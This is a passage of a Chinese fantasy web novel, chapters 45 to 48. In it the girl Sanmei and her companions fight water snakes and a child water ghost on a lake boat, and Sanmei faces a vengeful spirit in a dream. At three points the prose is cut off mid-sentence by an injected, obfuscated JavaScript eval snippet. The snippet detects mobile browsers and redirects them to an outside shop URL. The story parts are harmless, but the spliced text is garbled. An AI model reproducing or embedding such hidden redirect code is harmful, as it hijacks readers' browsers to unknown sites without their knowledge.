最后却是,“哇”的一声就吐了。 裴元桃花眼里满是不可思议,视线在三枚和小八耳之间来回跳转。 末了,他转头看着邢正,小小声说道:“好与众不同、好高速见效的催吐方式!!” 45. 第 45 章 “这一碗,全是蛇胆?” 陆衎接过三枚手中的破瓷碗,有些难以置信地问道。 八耳这一吐,竟是吐了满满的一碗蛇胆,而且碗里的每一个蛇胆,都没有破损,十分的完整。 终于将肚子里的东西一吐干净,八耳浑身一软,晃晃悠悠地向后一倒。 邢正眼疾手快,立马蹲身稳稳地将八耳抱住,还细心地低头查看它的情况。 却见八耳像是虚脱后整个身子瘫软成一滩烂泥,软趴趴地倒在自己的怀里,一动不动。 邢正吓了一跳,以为它这是要没了,正想呼喊三枚给它看看。 软趴趴的小八耳,下一秒忽而一个鲤鱼打挺,从他的怀里猛然站了起来,悲壮地发出了一声尖锐的长鸣:“咯!!!” 耳膜差点被刺破的三枚,嘴角一抽,抬手就又要抽它一巴掌,却被抱着八耳的邢正给躲了过去。 邢正:“别!” 看着那满满的一碗蛇胆,再联想刚才那一声悲鸣,估计小八耳才从一场惊心动魄的搏杀中艰难取得胜利。 三枚怀疑自己听错了,歪着脑袋看向睡得依旧没心没肺的八耳,心想:从来只见八耳单方面的碾压绞杀! 自己好像还从没见过被八耳盯上后,还能逃脱的猎物。 以它那凶残的战斗力,和嘴角的那丝血痕,三枚一看,就知道八耳一定吃得又尽兴又上头。 什么惊心动魄、艰难取胜,听着怎么这么陌生? 再抬眼看看邢正那护犊子似的架势,三枚眨了眨眼睛,想到当初他伸手递给自己一枚铜板时,脸上神情也是这样的一脸憨厚。 将到了嘴边的话囫囵吞下,三枚忽而脆生生地道:“好吧,给你个面子。” 不知道躲过一顿打的八耳,嚎叫完倒头就睡,圆乎乎的肚子有节奏地一起一伏,赫赫打着呼噜声。 邢正松了一口气,粗糙的大掌顺了顺八耳的紫色单冠,突然想起陆衎问的问题,他才猛然记起来,自己一开始火急火燎地闯进房间的目的。 他抱着八耳转过身来,对着三枚和陆衎道:“我们刚才在雀台上,突然看见从水里冒出了好几条水蛇,爬上了甲板,快速地朝被扔在一旁不管的老妪爬去。” 因为上船前,三枚曾经再三叮嘱过他们,在船上无论看见、或者发生了什么,一定不许轻举妄动,跑来告诉她一声便是。 于是当那群奇怪的水蛇突然出现的时候,邢正和裴元从雀台上下来后,第一时间就跑来告知三枚,哪想竟然撞见了那样令人劲爆难言的场面。 “咳咳。”三枚喉咙发痒,重重地咳嗽了几声,“知道了。” “所以,那些水蛇,都被小八耳给吃了?” 裴元视线一直紧盯着被陆衎拿在手里的破瓷碗,长袖下的手蠢蠢欲动,又碍于那碗里密密麻麻、看起来令人头皮发麻的蛇胆,只能站在几步开外,不可思议地道。 那可不是一条两条,目测靠近老妪的就有十几条,还不算还在往上爬的。 邢正看着累得直打鼾,睡梦中鸡嘴还一抽一抽啄着空气的八耳,道:“看样子,应该就是了。” 示意陆衎将瓷碗放到桌上,三枚却道:“不用全部,只要将其中几条蛇王给收拾了,其它的水蛇想保命,自然就得跑路。” 蛇王“” 听了三枚的话,陆衎仔细看了下瓷碗里的蛇胆的形状,忽而挑眉,道:“全是毒蛇的蛇胆。” 看来想要那老妪死的人,还真不少。 “我还没跟那死水鬼算账呢,她还妄想不费一兵一卒,在我的眼皮底下要了石春华的命?” 做梦! 八耳只是把那水鬼精心调-教的、用来冲锋陷阵的几条蛇王给收拾,算是嘴下留情了。 小小稚鸡,单打独斗,大战水蛇大军,竟然还能全身而退,不敢想象当时场面有多壮观热血。 虽然没有亲眼目睹,但裴元稍微联想了一下,当那群水蛇突然群起攻之,集体扑面而来的惊悚场面,顿时浑身直冒冷汗,鸡皮疙瘩起了一身。 怼天怼地,却唯独恐惧蛇类的裴元,忽而就对邢正抱在怀里的小八耳,充满了敬佩之意。 邢正将八耳轻轻放到榻上,转身回来时,看着三枚道:“但是,不出去看看吗?” 而且,他们就那么将石春华那个老妪,随随便便就扔在了甲板上,毫不设防,这不就给了那些想要浑水摸鱼的人机会吗? 就像突然出现的蛇群,若不是他们几人的眼神足够好,就那黑灯瞎火的环境,估摸老妪被咬死了,都美人发现。 还好八耳出手及时,并且战力十足。 但也不能保证老妪还活着,邢正黑炭一样的脸孔,被暖黄的烛光一照,显得更加黑沉,他皱着眉,道:“还是我先到甲板那儿,查探下那老妪的具体情况。” 三枚摇头,“不急,石春华可没那么容易死。” 而且,躲在湖底的水鬼啊,也憋不了那么久了。 一下子折损了几条毒蛇,下次出手,只能由她自己来了。 “现在当务之急,”三枚点了点八耳的方向,“是给我家八耳,来上几斤上好的白黍米。” 不然等下醒来,可有得闹了了。 听了三枚的话,邢正眼睛骤然一亮,总被裴元斥骂蠢笨的脑子难得机灵一回,他立即向前大跨一步,举着手道:“我去买!” 他早就受够了陆衎时不时嗖嗖射过来的冰刀子,再不逃,自己就要成为漏风的大筛子了,但他还是掩饰性地道:“之前我就买过一次,我知道小八耳喜欢吃的黍米种类。” 三枚眨眼:我怎么不知道,八耳还有喜欢的黍米种类? 但她没有深究,想了想,伸手一指:“你也去。” 以为三枚说的是自己,正蹲在脚踏上暗戳戳观察八耳的裴元,眉间一皱,不是很乐意地转过头,瞪着桃花眼就开呛:“又不是小孩子了,买点东西还得人陪!” 他大声道:“不去!” 说完才发现,三枚的小手正指着边上的陆衎呢。 “呵呵。”裴元干笑一声,原来不是指使的自己呀。 眼珠子一转,他斜眼偷偷观察陆衎的反应。 陆衎舌尖抵了抵后槽牙,声音冷沉地道:“听见没?” 哟!这是闹别扭了? 八卦之魂骤然燃起,裴元看好似的,视线在陆衎和三枚指尖来回转啊转。 就见陆衎冷眸深邃,一直紧紧盯着小三枚的侧脸,刚才说话的声音虽然听着冷冰冰的,但裴元却从那一点尾音里,听出了一丝丝的委屈之情。 你个小三枚,挺厉害的啊,才几天,竟然能拿捏住陆在野这个妖孽! 等会儿,邢安然这个黑炭脸,怎么跟块木头似的杵在那儿僵硬不动,还丧着一张脸,看起来是那么的生无可恋? 邢正看似还在房间,其实人已经走了一会儿了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993239|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自告奋勇是为了消失在陆在野的视线扫射范围内,而不是为了获得跟他单独相处的二人世界! 啊啊啊!谁来管管他们这群不顾我死活的神队友啊!! —— 三枚感觉自己左脸,快要被陆衎灼热的视线给盯出一个大窟窿,却还是倔强地不看他一眼。 指尖往前一戳,正好戳在陆衎的胸膛上,她重复道:“你也去。” 被戳中的地方,倏尔一麻,像过电一样,从胸腔划过心脏,激得陆衎身子一顿。 眼帘轻垂,掩下眸底深不可见的暗芒,他伸手抓住三枚抵在自己胸上的食指,轻笑道:“行,我去。” —— 将陆衎和邢正暂时打发上岸的三枚,盘腿坐在甲板上,装满蛇胆的破瓷碗,摆在她的面前。 那个叫做石春华的老妪,就躺在她的左手边,黑暗里一双淬毒的老眼瞪得圆溜,凶狠地盯着三枚看。 裴元躲在灯火通明的船舱里,时不时探出脑袋,左右张望,就怕一不小心从哪里突然又窜出一条毒蛇来。 夜风呼呼地吹来刮去,裴元心里没底,坐立不安,舔了舔唇,他将长榻上睡得昏天暗地的八耳,往腋下一夹,随手抓了案上的一只灯盏,瞻前顾后、左顾右盼地快速走到了三枚的身边。 三枚手里捻着一枚五铢钱,正百无聊赖地拨弄着破瓷碗里的蛇胆,见眼前突然投下一个巨大的黑影,她眼尾一挑,故意学蛇吐蛇信子的“斯斯”声,想要吓唬吓唬裴元。 裴元重重地将灯盏放到破瓷碗的边上,哼道:“吓唬谁呢!本世子难不成还听不出人声蛇叫声?” “哼!”三枚翻了个白眼,将灯盏移开了一点,“去去去,小心将蜡滴进我的碗里。” “小气鬼。” 裴元学着三枚也盘腿坐到了甲板上,对着灯光,眯眼努力想要瞅清楚三枚拨弄蛇胆的五铢钱。 看得眼睛发酸,他还是没能看出那枚铜钱的奇特之处。 “你拿着铜钱,到底在拨来弄去什么?”裴元最后还是忍不住好奇心问道。 三枚闻言,斜着眼睛瞪着他道:“无聊就陪八耳进去睡觉,我现在没工夫跟你掰扯斗嘴。” “嘿你个小三枚!”裴元拍了下船板,“说的本世子就像那胡搅蛮缠、不讲道理的混子一样!” “呵呵,难道不是吗?” 耳朵不好使,眼睛估计也是个摆设! 盯着瓷碗和她手里的五铢钱看了那么久,竟然没能看出碗里的蛇胆,正在一点一点的消失,变得越来越少! “你把眼睛瞪大咯,我这碗里的蛇胆,可就剩半碗而已了。” 听她这么一说,裴元一直故意不往破瓷碗里看的视线,终于一点一点地移了过去。 “好像、是变少了哈。” 哈你个大头鬼! 三枚懒得跟他废话,捻着手里的五铢钱,继续拨弄蛇胆。 这时候裴元才发现,被那铜钱拨弄到的蛇胆,随着她左摇右摆的动作,正慢慢地干瘪缩小了起来,最后变成薄薄的一层的类似表皮的东西,粘到铜钱上时瞬间透明,像是被那五铢钱给吸收了进去。 裴元嘴巴大张,难以置信地看着三枚:哇,这又是什么厉害的法术! “你——” 他正与开口询问这枚五铢钱,聚精会神拨弄着蛇胆的三枚,杏眸瞬间一瞪,突然前倾吹灭了烛火。 她低声道:“嘘!来了!” 46. 第 46 章 三枚伸手,将裴元往边上一挡。 “回房间里面去。”她说。 盘腿坐着的裴元,迅速起身,换成了单膝半跪的姿势,一把抓起烛台,侧身背对着三枚,声音紧绷地道:“什么来了?还是那群水蛇吗?” 他的手在身上摸索着,“刚跟邢安然要的火折子哪儿去了呢?” 那群蛇要敢再来,看爷不一把火烧把它们全烧了。 三枚:“吃过烤蛇肉吗?可香了。” “真来啊?”裴元吓得嘴角一抽,一脚将老妪踢开一点,接着又飞快窜到三枚的身后。 没有听到回答,裴元抬头一看,就见三枚正一脸笑眯眯地看着自己,她揶揄地道:“哈哈,怕蛇啊?” 裴元举起灯盏,指着三枚:“你耍我!” 三枚耸肩,装得一脸无辜:“我只是问你吃没吃过烤蛇肉而已,没想到你反应这、么、大!” 气得裴元牙痒痒,正想反唇相讥,楼船忽而一震,身子随着震动晃了一下。 立即将与三枚斗嘴的事抛到脑后,裴元抬眼看向湖面,发现静谧无波的镜湖水,开始泛起涟漪了。 “你听!有个声音嗡嗡的。” 正由远及近,快速朝这里靠近的一样。 八耳还夹在他的腋下,裴元放下灯盏,将八耳抓在了手里,身上散漫的气势陡然变得认真肃穆,严阵以待地警戒着周围。 眉头一挑,三枚有些意外地看了裴元一眼,挠了挠下巴,本来还想再吓他一把的,看着他这么严肃认真的模样,心想还是算了吧。 不然等事情完了,他估计又要找陆衎告自己的状了! 伸了个懒腰,三枚小小地打了个哈欠,接着将捏在手里的铜钱,轻轻对着腕上的红绳一碰。 五铢钱上纂字“五”的位置,“滋”地一下张开口子,不用三枚脱下绳子串,自己咬着绳子吞到中间的孔里,缺开的口子又自动合上了。 这一幕,被裴元尽收眼底,顿觉眼馋得很。 他舔了舔嘴角,不小心将心里话给说了出来:“小三枚,你什么时候,也给我一枚这样的铜钱哦?” 说完惊觉口气不对,向乞讨一样落于下风,不是他裴子钰的风格,于是他正想说点什么挽回点自尊,就见三枚一脸嫌弃、看傻子一样看着他。 “你堂堂世子爷,连一枚铜板也没有?” “你少装傻!”裴元三枚不阴不阳的口气刺激到,差点原地跳了起来,他指着三枚:“我看起来像缺一枚铜板的人吗?” 三枚气死人不偿命似的,从头到脚扫了裴元一眼,接着点头道:“像。” “你!”裴元气得脸红脖子粗,这时候也不在乎什么面子了,直接开门见山道“我要的是你刚才收起来的那枚五铢钱!” 三枚:“想得美!” 裴元不服气:“就凭你给了陆在野一枚,我怎么就不可以了?” “你能跟人陆衎比?”三枚脱口而出,“呵呵,下辈子吧!” 不想裴元却并未被她的话气出窍,反而突然冷静了下来,一脸“终于让爷抓到了你的小把柄”的得意,学着三枚刚才的样子,从头到尾地看了她一眼。 他贱兮兮地道:“我就知道,你对我家陆在野有所企图!” “咳咳。”三枚被他说得心虚,扬手将人挥开,底气不足地道:“胡说八道!” “哼!”裴元冷笑一声,“你就嘴硬吧。” “追在我家在野身后的小姑娘小郎君哟,那可多了去了,能从都城排到边疆去,根本不缺你这一个。” 他傲娇地将头一昂,眼尾却一直注意着三枚脸上的神情,见她脸色终于有些沉了,才慢悠悠地道:“但是吧,依我这几日的观察吧,你还是有很大希望,突围而出的。” “嘁,我不稀罕。”嘴上说着不稀罕,下沉的嘴角却稍微上扬了一点,她竖着耳朵,安静地等着裴元继续往下说。 裴元却话锋一转,晃了晃被他抓在手里的小八耳,道:“把这鸡给我,我帮你搞定陆在野。” 三枚闻言,小脸皱成了一团,犹豫了一会儿,才含糊地道:“再说吧。” 不行啊陆在野,在小三枚的心里,竟然还比不过一只鸡重要。 追妻路,任重而道远啊。 心里替兄弟扼腕,嘴角得意的小是一点压不下去,裴元暗喜:小三枚既然没有一口否决自己的提议,那便是有希望! 本想趁胜追击的裴元,之前那个隐隐约约的“嗡嗡”声,忽而变得越来越响亮,而他视野范围内,却并不见其他踪影,反而楼船晃动得越来越厉害。 “眼睛往哪里看?”三枚低声道,“在水底呢!” 她的话音刚落,突然从水里窜出一个巨大的黑影,掀起丈高的水幕,“哗哗”咆哮着狠狠砸向三枚所在之处。 “啧,尽使些不入流的阴招。” 三枚将老妪一脚踢到身后,对着裴元道:“把人看好。” 接着她头也不回,端起地上的破瓷碗,对着那浩大的水幕,便迎了上去。 裴元本想跟上去帮忙,听见三枚的话,还没反应过来,被绑得严严实实的老妪,咕噜噜从他身边滚了过去。 再看头顶那黑乎乎又好像有些粘稠的湖水,生怕其中夹杂一两条水蛇的裴元,咽了咽口水,犹豫了半秒,对着三枚快速说道:“诶,你、小心点。” 说完转身就去追那老妪,被他提在手里的八耳,差点被晃醒,半梦半醒间,好像看见了嘴角挂着邪笑的三枚。 应该是做梦吧?但是...... 八耳眼睛一闭,有些怀念地、轻声“咯”了一声。 好久不见,暴躁的三枚。 —— 有的人脾气暴躁的时候,会表现得情绪极其不稳定,就像火山爆发,陡然喷出的火光和浓烟一样,他们的愤怒肆无忌惮,难以抑制,通常选择发怒和破坏来宣泄心中积压的不快乐和痛苦。 三枚暴躁的时候,反应和表现却与此截然相反。 她会将所有的情绪全部收敛起来,压抑到极致,面上表现得越随和冷静,实际上杀心已起。 而当三枚嘴边泛起冷笑的时0候,你就该小心,她已经开始暴躁了。 将破瓷碗向上一抛,三枚趁隙撸起长袖,掌心向下两手交叠,翻起来时,手中竟是多了三根已经点燃了的细香。 她举起细香,放在身前顺时针绕了一圈,嘴里念了几句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007030|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛偈,最后伸出一只手,正好接住被她抛向高空后又落回来的破瓷碗 追在破磁瓦后头的,是被黑影掀起滞留在半空的水幕,就在它即将砸落下来的时候,三枚嘴里又叽里咕噜念了几句,最后将细香往碗里一插。 落下的水幕,在触碰到三枚头顶的瞬间,骤然一停,就像空气突然凝滞住了。 躲在水幕后头的黑影,见状不对,转身就想逃。 嘴角依旧挂着邪笑的三枚,端着破瓷碗的手泼水一样,往外轻轻一泼。 停滞的水幕便犹如是从她碗里泼出去的一样,带着惯性蓦然反向掀了回去,一下子就砸了正欲跳进湖里的黑影身上。 “砰!” 毫无阻挡砸下的水幕,犹如千斤重的炸弹,炸得镜湖的水汹涌地翻腾了起来。 楼船湖水震动的影响,剧烈地要摇晃了起来。 好不容易追到老妪的裴元,猝不及防被晃得脚下一崴,差点飞扑了出去,好险抓住了船舱的门把手,才好险没摔个狗吃屎。 呼出一口浊气,他抬眼去看三枚的情况。 却见三枚不知何时已经站上了船头,尽管楼船还在晃动,她的脚下却像牢牢地粘住,丝毫不受影响,站得稳稳当当的。 等会儿,三枚的手里,好像掐着什么东西。 裴元眯着眼睛,仔细一看,眼睛瞬间等大。 小三枚,手上掐着的,竟是个小孩! 她抓着那小孩的脖子,在水里左摇右晃,好似在荡涤一块脏兮兮的破抹布。 —— “啧。” 三枚嫌弃得看着被自己一下子就抓到的小水鬼,脸上充满了嫌弃。 “不想死,就把肚子里的尸水吐干净。” 她心头隐隐有些不耐烦,个阴险狡猾的糟老头子,竟然就派了这么一个小小的水鬼来抢人。 是那老东西自己老了提不动大刀了,还是水上蛇族已经后继无人了? 三枚越想越不爽,一只手掐着那小孩在湖水里胡乱清洗,令一只手里还端着破瓷碗。 碗里还未收完的蛇胆像是能感知到三枚的情绪一样,死的都变活了过来,在碗里瞬间游走了起来。 最后瑟瑟发抖似的,紧紧地贴到碗沿,让出了碗底的空白,独留那三根还未燃尽的细香,就那么凭空插在碗底的空白处。 没有烟灰沙土,那三根小细香不沉也不倒,稳稳当当地立在破瓷王里,燃起的烟顺着微风,徐徐地弥散开去。 不像当初三枚在小渔村,用三根插在海里的细香,将等在海底的断臂召唤而来时引起了一阵飓风,镜湖周边的呼呼乱叫的风声,却是温和得很,不太平静的水面,也只敢泛起了层层涟漪。 过了一会儿,有些乏累的三枚,猛地将那小孩拽上了船,毫不留情地甩在了甲板上。 她抬眸,看着傻眼愣神地抱着船舱门把的裴元,蹙眉刚想说点什么,就见被他抓在手里的八耳,突然鸡头一仰,响亮地鸣啼了一声:“咯!” 杏眸快速地眨了眨,三枚猛然转头,朝岸上看去,接着瞳孔蓦然一亮。 陆衎和邢正终于去而复返。 三枚一咧嘴,委委屈屈地道:“陆衎,我饿了!” 47. 第 47 章 八睡了一觉,精神抖擞,白黍米吃得“嘎嘎”作响。 相较之下,三枚吃肉饼的速度堪比乌龟爬行。 她累得浑身脱离,吃一口肉饼,打一个哈欠,倚在靠垫上的身体没个正行,越吃神情越委顿,困得眼睛几乎都睁不开了。 陆衎看不过眼,莫名有些心疼,略过一直在耳边嘀嘀咕咕的裴元,径直走向三枚。 大掌捧住她一点一点总是往下掉的小脑袋,另一只手抽出她身后的靠垫放平,再轻轻地将捧着的脑袋放了上去。 三枚眼睛眯成了一条缝,迷迷糊糊地看了陆衎一眼,脸颊塞得鼓囊囊,含糊不清地道:“咋啦?” 声音轻轻的,带着惺忪睡意。 陆衎听得心软软的,将长榻的案几移开,拍了拍空出来的位置,轻柔地道:“上来睡。” 困顿又疲乏的三枚,听了陆衎的话,脑子反应了好一会儿,有一下没一下地咀嚼着嘴里的肉饼,过了一会儿,抵在脚踏上的双腿才慢腾腾往上一抬,“噔”一下放到了榻上。 “还吃吗?” 陆衎见她身子舒展地躺好,送到嘴边的肉饼要吃不吃的迷糊样,伸手握住了那只捏着肉饼的油汪汪的小手,试探地问道:“不然,睡醒了再吃?” 本来眼睛已经全部闭上的三枚,听见陆衎这话,双眸瞬间瞪大,奶凶奶凶地道:“吃!” 说完挣开陆衎的手,抓着肉饼就往嘴里塞,还警惕地瞪着陆衎,好像吃得慢一点就会被他无情地抢走一般。 俨然将他当成了强取豪夺的恶势力。 陆衎垂眸,嘴角一弯,被三枚的反应给气笑了,又怕她吃太快噎着了,只能无奈地道:“你慢点吃,我又不抢你的。” 眼神迷离但努力瞪大的三枚,虽然反应迟钝,但还是听懂了陆衎的意思,紧张护食的手稍微一松,眼睛缓缓闭上,“啊呜”又咬了口肉饼,嚼一下顿一下,似睡非睡。 陆衎眼尾带笑,手指轻轻按了下三枚头顶翘起的小卷毛,正欲转身的时候,手边突然多了几粒白黍米。 侧目看去,小八耳正用它那尖锐的小鸡爪,从碗里扒拉出一小堆白黍米,再一脸纠结地从那小堆米粒里划拉了七八粒,慢吞吞地推到陆衎的手边。 埋头用鸡嘴“嘟嘟”快速啄了好几粒,再抬起它的一双豆眼,瞥了下那几粒白黍米,一脸“吃吧啊,别客气”的神气样儿,好似刚才的动作是示范给陆衎看的一样。 陆衎嘴角一抽:......你可真大方! 没理会小八耳的示好行为,陆衎径直转身,就见裴元和邢正两脸见了鬼的表情看着自己。 裴元用胳膊肘拐了邢正一下:陆在野,绝对被鬼上身了! 不然以他们认识的陆在野,怎么可能还有这么温柔又有耐心,还特别宠溺的一面?! 裴元犹记两年前长曜郡主放下身段,对着陆衎各种撒娇讨好,甚至高烧冒雨拦着他卑微示好的时候,愣是换不来冷酷无情的陆衎的一个眼风。 跟陆衎“二人世界”一趟后回来的邢正,已经深刻明白什么话能说,什么话不该说。 他偷偷瞄了三枚一眼,肯定地道:“说到底,是人的问题。” 裴元难得跟邢正意见一致,他也觉得问题的答案,就在小三枚的身上。 再看看那一脸讨好的小八耳,他啧了一声:小三枚,不简单啊,连养的稚鸡,都懂得怎么讨好陆在野。 啧啧。 不管裴元和邢正脸上的表情有多丰富生动,陆衎全部视若无睹。 他若无其事地回到原位,慢条斯理地喝了口清茶,接着下巴一抬,看着地上那个脏兮兮、黏糊糊的小孩,淡声问道:“水里抓的?” —— “叮铃铃,叮铃铃。” 耳边传来熟悉的铃铛声,三枚一拧眉头,猛然睁眼,发现自己陷入混沌黑暗中,身体似乎漂浮在水面上,随着流水微波,潺潺地向下流动着。 “大人呐,您可是终于,来了呀。” 尖锐的女声乍然在头顶响起,三枚睁着眼睛,视野却一片漆黑,东西南北根本分辨不清,也没听出声音是从哪里传来的。 缓缓呼出一口浊气,三枚沉下心,重新闭上眼睛,集中精神仔细地感受着。 “呼呼~~” 有风吹过她的脸颊,空气里的湿气很重,三枚感到自己的半边身子像是泡在水里,湿哒哒的难受,浑身却仿佛烈火炙烤一般,灼痛难忍。 “当啷”一声,是冰冷的金属撞击声。 三枚认出,这是锁魂箱里,立在棺椁之上的小梦铃的声音。 这时,阴恻恻的女声再次在她的头顶响起:“大人哪大人,您为何双眼紧闭,不肯睁眼看看我呀?” 被浸泡得发软的身体,连抬手的力气都没有,三枚眉间微微一蹙,接着猛然睁开双眼,就对上了一张诡异的小脸。 这张诡异小脸,三枚并不陌生,正是薛婉茹长在薛婉茹断臂掌心的小脸。 小脸的五官,在断臂的掌心四处游走乱窜。 它的眼睛一上一下,紧紧地坠在龇着牙齿的嘴巴两侧,两只耳朵扭在一起,合力托着那小小的鼻子,用力去撞那飞扬的柳叶眉。 三枚神情淡漠:“用我的锁魂箱给你养魂掩护,现在你就这口气跟我说话?” “白眼狼莫不是你们家族之间的传统特色?”她的双眸冷清,看起来压迫感十足。 “啊!” 三枚释放出来的威压强势,充满威慑力,吓得那断臂惊叫着连连后退。 身后的黑幕随着它的尖叫和动作,像是就此撕扯开了一道口子,三枚的眼前骤然亮了起来。 她这才看清,此刻的自己身处何方。 —— 古木参天,遮天蔽日,寂静而充满了神秘。 粗壮参天的诡异草木,色泽妖娆的巨大昆虫,一切的一切,看上去都是那么的不同寻常,和诡异阴森。 三枚被带到了一座深山老林。 老林的蜿蜒小径上,四周是茂密的高大的能擎天的林木,阴沉的惨淡阳光笼罩在这片诡谲的森林之上,透过叶间的缝隙洒在湿润的土地上,形成一片片光斑。 你听不到鸟儿站在枝头清脆高歌的声音,这里静谧得如同一切都沉睡在死亡里。 偶尔刮过一阵风,掠起的硕大的片片树叶,像一个个鬼影飞速飘过,耳边时不时响起令人毛骨悚然的短促声,不禁让人产生一种到了阴间地府的幻觉。 “嘻嘻。” 那截断臂被三枚的气场吓退,倒挂着缠在树枝上,五官堆积在一起,对着三枚的方向挤眉弄眼,龇牙咧嘴。 它说:“序三,你猜,这里是哪里?” 听着身下潺潺流淌的流水声,三枚压抑着心头的不悦,冷冷地看着那截断臂道:“这里是眧州郊外的雨林!” “薛婉茹,你明明就葬身在此,为何偏将我引到水都?” 断臂一个飞跃,窜到了枝丫上,它压着摇摇欲断的树枝,声音阴郁:“我的魂断了。” 三枚:“撒谎!” “你的魂魄,分明早就献祭给了归墟!” “虽然不知你中途为何冒着魂飞魄散的风险,也要舍弃海门,转投敲响我山门的梦铃,”她眼眸越来越冷,被浸泡在流水里的身体动了动,“但直至今日,你的魂都未曾断过。” 何况自小渔村后,你便一直躲在锁魂箱里的棺椁内,养了好一阵子。 “薛婉茹,你该知道,我山门序家,从来都不是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025361|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软柿子。” “哗啦”一声,三枚终于从流水里挣出了双臂,双手对着水面一撑,她慢慢地爬出来。 掌心微抬,她将腕上的五铢钱一点一点扎进泥土里,“而我序三,随时都能让你魂飞魄散,即便是在幻梦里。” “啊啊啊!!” 断臂里的青筋陡然暴起,薛婉茹的残魂发出一阵凄厉的尖叫。 三枚尖刺,并未心软,陷进泥土里的五铢钱反而越扎越深,“这只是我对你那放肆而狂妄之态的、一个小小的惩戒。” 小小残魂,竟然也敢利用流水,意图对付我! 简直吃了熊心豹子胆! “啊啊啊!!!” 缠在树枝上的断臂痛苦地扭曲成了麻花,用力地甩啊挥的,惨叫声响彻老林,带起阵阵回音。 三枚见好就收,将扎进泥土里的五铢钱慢慢抽回,放到嘴边,漫不经心地吹了吹。 “咔嚓!” 树枝终于被薛婉茹的断臂压断,重重地摔倒了地上。 “哎哟!”断臂哀嚎一声,立起来后,飞快躲到最近的一棵古树之后。 它伸出手指,对着三枚顾左右而言他地道:“你已经接受了我的请托,你必须为我寻尸化怨!” 三枚懒懒地睨了它一眼,双手一摊:“嗯哼,你的尸体我已经知道在哪里了,回去就给你收尸。” 薛婉茹尖叫道:“我说不是这个!” 三枚:“石春华在我手里,大理寺的人不会放过她的。” 小手向前一抬,她撩起眼皮,“至于你将我卷进水都里的事,我可以既往不咎,毕竟那群被残害的少女实在无辜可怜,幕后真凶理应得到律法严惩。” “我要石春华死!”断臂从古树后头蹦了出来,张牙舞爪,情绪激动。 三枚的声音依旧淡淡,但脸上的神色已经隐隐有些不耐。 “放心,她活不了多久。” 水都对石春华来说就是个龙潭虎穴,是个人都想将她置之死地。 断臂显然对三枚的回答并不满意,周身冒着阴沉沉的黑气,掌心的小眼睛阴鸷地瞪着三枚。 它的声音陡然变得阴森恐怖:“我说,我要石春华那个老妪去死!我要她碎尸万段!死无葬身之地!” “啧。果然,就是不能让你们这些怨鬼冤魂在人间逗留太久。” 人间的阳怨吸收得多了,就是容易被影响黑化。 何况那日,她和锁魂箱都曾一起落入镜湖水里,而那被自己从湖里捉到的小孩,又浑身浸满了尸水。 本就带着怨气的薛婉茹的残魂,势必会被尸水影响。 但更多的,估计还是因为蒋敏生洞府里的玉玺所致吧。 然而三枚作为接受薛婉茹请托的寻尸人,她最清楚薛婉茹找到自己的初衷,和她为了无辜少女而献祭上自己魂魄的纯粹和真诚。 所以,三枚比任何人,都不希望薛婉茹最后会成为怨毒缠身的恶灵。 “罢了罢了,谁叫当初是我一时心软,没有在第一时间就拒绝你的委托,之后还一意孤行非要为你寻尸。” 有因必有果,因果循环,该她为此做个了结的。 三枚小手一挥,将那断臂身上的黑雾驱散,捏着五铢钱狠狠扎进泥土,用力一划拉。 “撕拉!” 她划开了断臂残魂制造的、充满瑕疵破绽的幻梦,眼睛缓缓一闭,“等着吧薛婉茹,我会好好将你安葬,送你魂归西天的。” “砰!” 重物狠狠撞到什么东西的巨响,三枚拧着眉头,慢腾腾地睁开了双眸。 就见云丫指着躺在地上黏湿湿的小孩,大声道:“她就是小坂妹!” “那天就是她往我的手心塞的木雕!” 48. 第 48 章 “我是来弃暗投明的!” 小坂妹差点去了半条命,好不容易将呛进肚子里的尸水吐干净,刚缓过来一点,抬头就见一屋子凶神恶煞的人围着自己。 她连忙举起双手投降:“真的!我想改邪归正,想活在大太阳底下做个好人!” 三枚哼笑一声,“憋着一口气,想要将我们连船带人一并淹没在那腐臭的尸水里,这就是你说的弃暗投明?” 是你读书太少不会用词,还是以为这船上有一个算一个都是蠢蛋,任你在这里信口雌黄? 小坂妹嘿嘿一笑,露出她参差不齐的大白牙,“这不是,先浅试一下,各位哥哥姐姐们的本事嘛。这一试啊,果然,在座各位,你们都是这个。” 她竖起大拇指,笑意盈盈地对着房间里的人转了一圈,最后回到三枚这边,“其中,就属您最厉害哈!” 啧!小小年纪,一脸谄媚。 不管小坂妹小嘴抹了蜜般尽说好话,还是她装得可怜兮兮示弱的神情,三枚都视若无睹。 她始终沉着脸,半晌冷冷地道:“哦,将我们所在的小渔船差点给劈裂的那次,又有什么说法?” “还是你想耍赖,假装那日袭击我们的,不是你?” 